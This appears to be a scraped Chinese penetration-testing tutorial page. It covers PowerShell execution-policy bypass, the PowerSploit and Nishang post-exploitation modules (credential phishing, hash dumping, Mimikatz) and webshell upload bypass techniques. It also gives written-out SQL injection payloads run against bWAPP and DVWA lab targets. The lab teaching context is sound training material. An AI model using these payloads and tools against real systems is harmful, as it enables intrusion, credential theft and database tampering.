    get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。
    set-ExecutionPolicy   另外修改PowerShell执行策略:策略名#该命令需要管理员权限运行
    restricted	脚本不能运行(默认设置)
    remoteSigned	本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
    allSigned	仅当脚本由受信任的发布者签名时才能运行;
    unrestricted	允许所有的脚本执行

    3.运行脚本

    运行脚本1.ps1 内容为get-host

    运行脚本2.ps1 内容为vnsdinv

    4.管道

    管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

    例如:假设停止所有目前运行中的,以“note"字符开头命名的程序

    Get-Process note*|stop-process

    5.基本知识

    get  host  #查看当前powershell版本
    新建目录test:New-Item test -ItemType directory
    删除目录test:Remove-Item test
    新建文件test.txt:New-Item test1.txt -ItemType file
    新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
    查看文件test.txt内容:Get-Content  test.txt
    设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"
    追加test.txt内容:Add-Content test.txt  -Value ",word!"
    清除test.txt内容:Clear-Content test.txt
    删除文件test.txt:Remove-Item test.txt

    追加,清除内容和删除文件

    绕过执行策略执行PowerShell脚本

    如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted

    在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

    #绕过本地权限执行
    Powershell  -exec  bypass  .\1.ps
    #本地隐藏绕过权限执行脚本
    Powershell.exr  -exec bypass  -W  hidden  -nop  1.ps1
    #用IEX下载远程PS1脚本绕过权限执行

    6.2powersploit

    PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

    下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。这里以kali服务器为例,介绍两种方式

    第一种方式:开启apache服务:service apache2 start将powersploit目录放到/var/www/html/中

    第二种方式:切换到powersploit目录,然后执行如下命令开启WEB服务器python3 -m http.server 8080Git clone https://github.com/PowerShellMafia/PowerSploit

    搭建服务拉取镜像

    wget http://114.115.206.63/Power.zip

    Su-  提供root账号密码,可以切换到root用户
    Sudo su 提供当前用户的密码,也可以切换到root用户
    Rm -rf 是一条UNIX系统下的文件删除命令,作用是在无提示地提示强制递归删除文件,删除当前目录下所有文件,并且不能恢复
    Rm命令只删除一个目录下的一个或多个文件或目录,只用rm命令不会删除目录,通常文件可以恢复
    Systemctl  start  apache2  #启用apache
    rm  -rf/var/www/html/*  #删除文件
    unzip  -zf/home/liao/PowerSploit-master/*  /var/www/html/
    #将powersploit文件复制到该文件
    #最后从浏览器查看

    在kali搭建完服务器如下

    ActivirusBypass:绕过杀毒软件查杀

    CodeExecution:在目标主机上执行代码

    Exfiltration:目标主机上的信息搜集工具

    Mayhem:蓝屏等破坏性的脚本

    Persistence:权限维持

    Privsec:提权等脚本

    Recon:以目标主机为跳板进行内网信息侦查

    ScriptModification:在目标主机上创建或修改脚本

    6.3Powerup

    Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

    Inport-Module  .\1.ps1  #加载脚本模块
    Invoke-AllChecks    #执行所有的脚本来检查。

    下面开始对模块介绍:

    执行方式:PS C:> Invoke-AllChecks

     6.4Nishang

    Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。

    使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本

    为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell

    导入框架,并查看有哪些模块,如下图

    开始对部分模块的功能进行讲解:
    1.Check-VM
    它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

    2. Invoke-CredentialsPhish
    这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程
    Invoke-CredentialsPhish

     输入服务器正确账号和密码后

     3. Get-PassHashes
    在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

    4. Invoke-Mimikatz
    需要管理员权限,抓取密码

    5. Show-TargetScreen
    使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

    6. Get-PassHints
    获取用户的密码提示信息,需要有Administrator权限来读取sam hive
    有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

    第七章  实例分析

    7.1  代码审计概念

    代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

    代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。

    代码审计两种基本方式:
    通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
    功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。

    代码审计两种基本方法:
    正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload
    逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload

    搭建环境

    PHP源码部署环境:Phpstudy

    集成开发环境:Zend Studio/Phpstorm

    数据库管理工具:Navicat for MySQL

    MySQL实时监控工具:MySQLMonitor

    文本编辑工具:Sublime_Text3

    代码审计辅助工具:Seay源代码审计系统、Rips

    代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap

    本地文件包含

    include() 向上包含,向下包含,如果包含出错继续向下执行
    include_once() 同上,只进行包含一次
    require() 向上包含,向下包含,如果包含出错不下向下执行
    require_once() 同上,只进行包含一次

    命令执行


    system()
    exec()
    passthru()
    shell_exec()

    使用
    在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:

    对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况

    左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案

     右下角的红色按钮,可以根据漏洞生成漏洞利用代码

     

     

     

    展开全文
  • web安全攻防实战

    2021-09-02 11:33:27
    WEB安全渗透工具docker容器安装三级目录 渗透工具 1.burpsuite 2.curl 3.postman 4.wappalyzer 5.hackbar docker容器安装 [docker下载地址(https://www.docker.com/products/docker-desktop) 三级目录

    渗透工具

    1.burpsuite
    2.curl
    3.postman
    4.wappalyzer
    5.hackbar

    docker容器安装

    docker下载地址

    因为可能是win10 安装好docker desktop 运行后会报错然后闪退,经过查询很多资料,将win10 升级成wl2 安装了Windows下的Linux分发版,即可正常运行docker
    在win10 上安装wsl和下载Linux内核

    BWAPP容器安装成功

    文件上传漏洞

    上传一句话木马
    打开中国菜刀

    在这里插入图片描述

    文件上传绕过




    为什么php3可以但是php30 不行,我们去看Apache配置文件

    docker container list -a
    docker exec -it 1de0abcbea4e bash
    cd /etc/apache2
    vim apache2.conf
    cd mods-enabled/
    vim php5.conf
    


    IIS 5.X到6.0漏洞

    第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

    例如创建目录 wooyun.asp,那么/wooyun.asp/1.jpg将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

    第二种,在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg
    会被服务器看成是wooyun.asp

    Nginx-解析漏洞

    由于Nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://liuwx.cn/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。

    Apache解析漏洞

    Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
    比如 wooyun.php.owf.rar “.owf”和”.rar”?这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
    如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

    前端验证绕过

    很多网站、CMS 都有使用,只在前端利用 JavaScript 来做校验。
    漏洞利用流程(两种方法都可以):

    1. 通过Burp Suite抓包,然后修改内容后放行。
    2. 通过Chrome禁止/删除JavaScript代码。

    .htaccess绕过

    什么是.htaccess?

    .htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
    如何利用.htaccess?
    场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤

    1. 上传一个.htaccess文件,文件内容设置为【AddType application/x-httpd-php .test】。
    2. 上传一句话木马文件,文件名设置为shell.test。
    3. 在浏览器中访问shell.test即可执行一句话木马。

    大小写绕过

    这是一种比较简单的绕过方式,同样针对黑名单。
    如果我们想上传一个php木马,那么我们可以上传一个pHp即可。

    Windows 文件流特性绕过

    什么是Windows文件流?
    NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名
    的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的
    未命名文件流一致,甚至可以用来启动程序。
    我们来用Windows平台做一些测试:

    1. Echo 111 > test.txt:111.txt;
    2. Echo test > test.txt;
    3. Echo 222 > test.txt::$data;

    %00截断绕过

    文件头检测绕过

    绕过类型总结

    1.Content-Type绕过
    2.前端绕过
    3.文件解析规则绕过
    4.Windows环境特性绕过
    5.大小写/双写/点空格/文件头/条件竞争绕过…

    Fuzz Testing

    模糊测试,使用burp就相当于密码爆破(个人理解)

    SQL注入

    是发生于应用程序与数据库层的安全漏洞。

    网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

    我们在提交网页内容时候,主要分为GET方法POST方法,GET方法提交的内容会显现
    在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。

    SQL Injection (GET/Search)

    1. 判断是否存在注入点

    2. 判断字段个数

    t' union select 1,2,3,4,5,6,7 -- '
    


    4. 查找用户名,数据库名字,版本号

    t' union select 1,user(),database(),4,version(),6,7 -- '
    


    5. 查看有哪些表

    t' union select 1,table_name,database(),4,version(),6,7 from information_schema.tables where table_schema=database() -- '
    


    6.查看表数据

    t'union select 1,column_name,database(),4,version(),6,7 from information_schema.columns where table.name='users' -- '
    


    7.查看表数据

    t'union select 1,login,password,4,version(),6,7 from users -- '
    

    SQL Injection (POST/Select)

    该bwapp靶场是通过docker安装在本地的 所以一般来讲burp抓不到本地包,也就是抓不到127.0.0.1 和localhost 这里不建议Google解决方法,本人尝试了Google上的几乎所有方法,花费了一下午的时间没有解决。在这里推荐一个浏览器插件给大家,能很好的解决burp抓本地包的问题。
    Proxy SwitchyOmega
    很好用的浏览器代理自动配置软件

    上面配置成burp相同的地址和端口。下面方框的不代理地址列表删除127.0.0.1和localhost

    在localhost下选择你自己设置的proxy即可。

    2.获取表名

    movie=11 union select 1,2,group_concat(user()),database(),5,6,7 from information_schema.tables where table_schema=database() -- ' &action=go
    


    其中 group_concat() 函数将组中的字符串连接成为具有各种选项的单个字符串。

    3.获取users的列名

    movie=11 union select user(),table_name,group_concat(column_name),database(),5,6,7 from information_schema.columns where table_name='users' -- ' &action=go
    


    4.获取数据

    movie=11 union select user(),2,group_concat(login),database(),group_concat(password),6,7 from users --  ' &action=go
    

    判断SQL注入点

    1.经典的单引号判断法
    http://xxx/test.php?id=1’

    如果页面返回错误,则存在 SQL 注入。
    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

    2.判断注入类型
    通常SQL注入分为两种:数字型 + 字符型

    数字型:
    通常语句类型为 select * from <表名> where id = x
    我们通常构造and 1=1以及and 1=2来判断

    字符型:
    通常语句类型为select * from <表名> where id = ‘x’
    我们通常构造and ‘1’='1以及and ‘1’='2来判断

    SQL注入的类型

    1. Boolean-based blind SQL injection(布尔型注入)

    http://test.com/view?id=1 and substring(version(),1,1)=5

    如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟
    正常请求一样。

    3. UNION query SQL injection(可联合查询注入)
    http://test.com/view?id=1 UNION ALL SELECT SCHEMA_NAME
    FROM INFORMATION_SCHEMA.SCHEMATA

    最快捷的方法,通过UNION查询获取到所有想要的数据,前提是请求
    返回后能输出SQL执行后查询到的所有内容。

    5. Time-based blind SQL injection(基于时间延迟注入)
    select * from user where id= ‘4’ and sleep(3)

    页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。
    类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属
    于正常的,这时就得采用time-based的注入了,即判断请求响应的时
    间,但该类型注入获取信息的速度比较慢,请求次数比较多,纯手工
    非常复杂。

    6. Error-based SQL injection(报错型注入)

    如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信
    息。
    典型的就是利用group by的duplicate entry错误。

    7. Stacked queries SQL injection(可多语句查询注入)

    http://test.com/view?id=1;update t set name = ‘a‘ where id=1

    能够执行多条查询语句,非常危险,因为这意味着能够对数据库直接
    做更新操作。

    时间盲注

    通过注入特定语句,根据对页面请求的物理反馈,来判断是否
    注入成功,如: 在SQL语句中使用sleep() 函数看加载网页的
    时间来判断注入点。

    适用场景:通常是无法从显示页面上获取执行结果,甚至连注
    入语句是否执行都无从得知。

    select * from user where id= ‘ ?’

    ? 用户输入,替代为 4’ and sleep(3) – ‘

    实际上执行的SQL语句:
    select * from user where id= ‘4’ and sleep(3) – ‘’

    当id=4存在时,休眠3秒 当id=4不存在时,直接返回
    整条拼接出来的SQL是正确的就执行最后的sleep,前面错误(不存在),sleep(3)不执行。

    时间盲注常用函数
    substr(a,b,c):从b位置开始,截取字符串a的c长度
    count():计算总数
    ascii():返回字符的ASCII码
    length():返回字符串的长度
    left(a,b):从左往右截取字符串a的前b个字符
    sleep(n):将程序挂起n秒

    示例:

    HTTP头注入

    针对HTTP的请求头,如果不加以过滤或者转义,在直接与数据库交
    互的过程中容易被利用进行SQL注入攻击,即HTTP头注入。

    常见场景:

    访问Web Server时,Web Server会从HTTP Header中取出浏览器信
    息、IP地址、HOST信息等存储到数据库中。

    SQL Injection - Stored (User-Agent)

    111 ' , (select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1)); #
    

    报错注入(Error based Injection)

    一种 SQL 注入的类型,用于使 SQL 语句报错的语法,用于注入结果无回显
    但错误信息有输出的情况。
    返回的错误信息即是攻击者需要的信息。

    MySQL 的报错注入主要是利用 MySQL 的一些逻辑漏洞,如 BigInt 大数
    溢出等,由此可以将 MySQL 报错注入主要分为以下几类:

    1. BigInt 等数据类型溢出;
    2. Xpath 语法错误;
    3. count() + rand() + group_by() 导致重复;
    4. 空间数据类型函数错误。

    很多函数会导致 MySQL 报错并显示出数据:

    1. floor 函数;
    2. extractvalue 函数;(最多32字符)
    3. updatexml 函数;
    4. exp() 函数;

    堆叠注入

    一堆 SQL 语句(多条)一起执行。

    在 MySQL 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们
    就想到了是不是可以多句一起使用。

    这个叫做 stacked injection。

    我们就可以使用堆叠注入,对admin账户的password进行更新。

    http://127.0.0.1:81/vulnerabilities/sqli/?id=1'; update users set
    password=e10adc3949ba59abbe56e057f20f883e' where user_id=1; -
    - &Submit=Submit#
    

    成功登录之后再进行复原。

    混淆及绕过


    普通的注入方式过于明显,很容易被检测。
    因此,需要改变攻击的手法,绕过检测和过滤,即混淆和绕过
    具体操作针对于服务端和 WAF 的防御机制有多种手段。

    展开全文
  • xsser_platform:《 Web安全攻防:渗透测试实战指南》 XSS测试平台原始码
  • web安全攻防渗透测试实战指南

    千次阅读 2022-04-05 22:10:55
    Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~...
  • WEB攻防-ASP安全

    千次阅读 2022-01-07 15:35:08
    WEB攻防-ASP安全 一、ASP安全&MDB下载植入&IIS短文件名&写权限&解析 #知识点: 1、ASP环境搭建组合 2、ASP-数据库下载&植入 3、IIS-短文件&解析&写权限 核心点:关注于该语言开发的特性...
  • Web安全攻防渗透

    2022-04-07 22:39:15
    Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 ...
  • 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。 首先,下载需要的安装包,命令如下所示。 wegt ...
  • 网络攻防对抗中,通过漏洞扫描来获取,目录架构、已知漏洞等信息,通过已知漏洞对目标进行渗透测试,结合个人经验,极有可能拿下后台管理权限。所以说漏洞扫描利用及分析是攻防对抗中非常关键的技术。掌握这些技术...
  • Web安全攻防渗透测试

    千次阅读 2022-04-05 13:34:35
    Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~...
  • 常见六大Web安全攻防解析

    千次阅读 多人点赞 2019-06-26 12:42:19
    前言 在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本文主要侧重于分析几种常见...跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏...
  • 承载着丰富功能与用途的Web应用程序中布满了各种漏洞,攻击者能够利用这些漏洞盗取用户资料,实施诈骗,破坏其他系统等。近年来,一些公司的网络系统频频遭受攻击,导致用户信息泄露,造成不良影响。因此,如何确保...
  • Web安全攻防:渗透测试实战指南

    千次阅读 2022-03-10 13:25:07
    CMS又称整站系统或文章系统,渗透测试中,对目标服务器进行指纹识别,识别出相应的Web容器或CMS,查找与其相关漏洞,进行相应渗透操作。 常见的CMS有:Dedecms(织梦)、Discuz、PHPWind、PHPWEB、ASPCMS等 代表...
  • 常见web系统及网络安全设备默认密码汇总(220页)--hack之道
  • CTF-攻防世界web新手入门篇

    千次阅读 2022-04-11 10:30:22
    CTF-攻防世界web新手入门(全) 攻防世界网址 1、view_source 2、robots 3、backup 4、cookie 5、disabled_button 6、weak_auth 7、simple_php 8、get_post 9、xff_referer 10、webshell 11、command_execution 12、...
  • (ctf)攻防世界web模块020web2

    千次阅读 2022-05-04 14:18:30
    题目 首先来到给定的地址 题意很明确$miwen是加密之后的字符串,我们只需要逆向解密出miwen就能得到flag 我们先来代码审计 $_o=strrev($str); strrev()函数是字符串的倒置 for($_0=0;... $_=$_.$
  • Web安全攻防 渗透测试实战指南3

    千次阅读 2022-04-02 16:29:26
    2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。 首先,下载需要的安装包,命令如下所示。 wegt ...
  • [CTF学习] 攻防世界WEB练习区

    千次阅读 2022-02-03 00:49:33
    攻防世界新手区刷题 1. view_source 这个题很明显的,只需要查看源代码就能看到 flag,但是不能鼠标右键 这里可以直接按 F12 键或者 Fn+F12 即可 也可以在URL前面加上 view-source: 查看源代码 2. robots # ...
  • 攻防世界Web赛题记录

    千次阅读 2021-10-13 13:11:12
    Cat 题目:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4658&...[CTF题目总结-web篇]攻防世界:Cat_T2hunz1-CSDN博客 知识点: 1.输入字符 get传递在网址
  • f12查看系统,php版本 Github: site:Github password //github上查找敏感信息   8.真实IP CDN 判断CDN:  ping 如果网站前有cdn标识,则为cdn服务器  站长之家 看返回值 绕过CDN: ...
  • 中睿天下-睿眼WEB攻击溯源系统-产品白皮书:「攻击溯源」是基于「攻击者视角」构建的新一代安全防护体系。凭借近15年攻防实 战经验,从攻击者的视角获取对抗未知威胁的洞察力,中睿天下为用户的安全团队赋能,追 踪...
  • Web安全攻防 渗透测试实战指南2

    千次阅读 2022-03-16 21:10:38
    而本节所讲的指纹是指网站CMS指纹识别、计算机操作系统Web容器的指纹识别等。 应用程序一般在html、js、css等文件中多多少少会包含一些特征码。 在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为...
  • 题目: 老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。 打开网页,发现什么也没有。 既然如此,那么我们根据题目提示,搜索robots,可得: robots是网站跟爬虫间的协议,具体...
  • web安全攻防DVWA靶场搭建

    千次阅读 2020-02-09 19:09:04
    web安全攻防篇-2-搭建测试环境(靶场) ** 搭建靶场所需要的4个文件: 文件链接: 复制这段内容后打开百度网盘手机App,操作更方便哦 链接:https://pan.baidu.com/s/1QGr055IHwQfMDGShl6kvgA 提取码:hnzn 搭建步骤: 1...
  • 攻防世界web练习区题目解答

    千次阅读 2022-03-22 13:46:25
    xctf的web练习区题目解答。
  • 拿到flagrobots题目描述就是和robots协议有关的,直接在url中 输入robots.txt 查看 robots协议,并拿到flagrobots协议robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Note...
  • 找到flag.txt 得到flag 为cyberpeace{17b8c20c87ed744736dca537ddea2777} 第十一题、command_execution WAF简介: Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 9,419
精华内容 3,767
关键字:

web攻防系统